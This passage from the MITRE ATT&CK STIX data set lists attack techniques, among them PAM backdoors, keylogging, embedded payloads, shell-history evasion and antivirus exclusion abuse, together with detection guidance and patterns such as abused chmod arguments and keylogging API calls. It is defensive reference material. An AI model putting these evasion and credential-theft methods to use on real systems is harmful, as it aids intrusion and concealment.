network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "created": "2020-03-14T23:36:52.095Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1132/001", "external_id": "T1132.001"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Wikipedia Binary-to-text Encoding", "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.", "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"}, {"source_name": "Wikipedia Character Encoding", "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.", "url": "https://en.wikipedia.org/wiki/Character_encoding"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T21:14:57.263Z", "name": "Embedded Payloads", "description": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Nick Cairns, @grotezinfosec"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Creation", "File: File Metadata"], "x_mitre_system_requirements": ["User"], "type": "attack-pattern", "id": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "created": "2022-09-30T18:50:14.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/009", "external_id": "T1027.009"}, {"source_name": "GitHub PSImage", "description": "Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.", "url": "https://github.com/peewpw/Invoke-PSImage"}, {"source_name": "Malware Analysis Report ComRAT", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 \u2013 PowerShell Script: ComRAT. Retrieved September 30, 2022.", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"}, {"source_name": "Trend Micro", "description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.", "url": "https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"}, {"source_name": "Securelist Dtrack2", "description": "KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.", "url": "https://securelist.com/my-name-is-dtrack/93338/"}, {"source_name": "Microsoft Learn", "description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.", "url": "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"}, {"source_name": "SentinelLabs reversing run-only applescripts 2021", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.", "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}, {"source_name": "Sentinel Labs", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.", "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1150", "url": "https://attack.mitre.org/techniques/T1150"}, {"source_name": "Sofacy Komplex Trojan", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."}], "x_mitre_deprecated": false, "revoked": true, "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", "modified": "2022-04-22T18:49:20.520Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Plist Modification", "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_defense_bypassed": ["Application whitelisting", "Process whitelisting", "Whitelisting by file name or path"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Scott Knight, @sdotknight, VMware Carbon Black", "George Allen, VMware Carbon Black"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", "type": "attack-pattern", "created": "2020-06-26T04:01:09.648Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1556.003", "url": "https://attack.mitre.org/techniques/T1556/003"}, {"source_name": "Apple PAM", "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt", "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."}, {"source_name": "Man Pam_Unix", "url": "https://linux.die.net/man/8/pam_unix", "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."}, {"source_name": "Red Hat PAM", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules", "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."}, {"source_name": "PAM Backdoor", "url": "https://github.com/zephrax/linux-pam-backdoor", "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."}, {"source_name": "PAM Creds", "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/", "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."}], "modified": "2021-10-17T14:48:33.580Z", "name": "Pluggable Authentication Modules", "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "Logon Session: Logon Session Creation"], "x_mitre_permissions_required": ["root"]}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Netskope"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "type": "attack-pattern", "created": "2020-06-16T18:42:20.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1578.004", "url": "https://attack.mitre.org/techniques/T1578/004"}, {"source_name": "Tech Republic - Restore AWS Snapshots", "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."}, {"source_name": "Google - Restore Cloud Snapshot", "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}], "modified": "2021-03-08T10:33:02.128Z", "name": "Revert Cloud Instance", "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Instance: Instance Start", "Instance: Instance Metadata", "Instance: Instance Stop", "Instance: Instance Modification"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1148", "url": "https://attack.mitre.org/techniques/T1148"}, {"external_id": "CAPEC-13", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/13.html"}], "modified": "2020-02-21T20:57:38.015Z", "name": "HISTCONTROL", "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Log analysis", "Host forensic analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "type": "attack-pattern", "created": "2020-10-02T16:39:33.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1592", "url": "https://attack.mitre.org/techniques/T1592"}, {"source_name": "ATT ScanBox", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "modified": "2021-10-17T16:35:09.878Z", "name": "Gather Victim Host Information", "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca", "type": "attack-pattern", "created": "2020-10-02T16:58:58.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1596.003", "url": "https://attack.mitre.org/techniques/T1596/003"}, {"source_name": "SSLShopper Lookup", "url": "https://www.sslshopper.com/ssl-checker.html", "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."}, {"source_name": "Medium SSL Cert", "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2", "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020."}], "modified": "2021-04-15T03:48:37.628Z", "name": "Digital Certificates", "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-01T14:01:12.167Z", "name": "Keylogging", "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}, {"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["TruKno"], "x_mitre_deprecated": false, "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Driver: Driver Load", "Process: OS API Execution", "Windows Registry: Windows Registry Key Modification"], "type": "attack-pattern", "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "created": "2020-02-11T18:58:11.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056/001", "external_id": "T1056.001"}, {"source_name": "Talos Kimsuky Nov 2021", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"}, {"source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"}, {"source_name": "Adventures of a Keystroke", "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-15T23:42:39.831Z", "name": "File/Path Exclusions", "description": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9", "created": "2024-03-29T16:59:10.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/012", "external_id": "T1564.012"}, {"source_name": "Microsoft File Folder Exclusions", "description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T17:54:22.970Z", "name": "Linux and Mac File and Directory Permissions Modification", "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS", "Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: Process Creation", "File: File Metadata", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "created": "2020-02-04T19:24:27.774Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1222/002", "external_id": "T1222.002"}, {"source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"}, {"source_name": "Hybrid Analysis Icacls2 May 2018", "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": 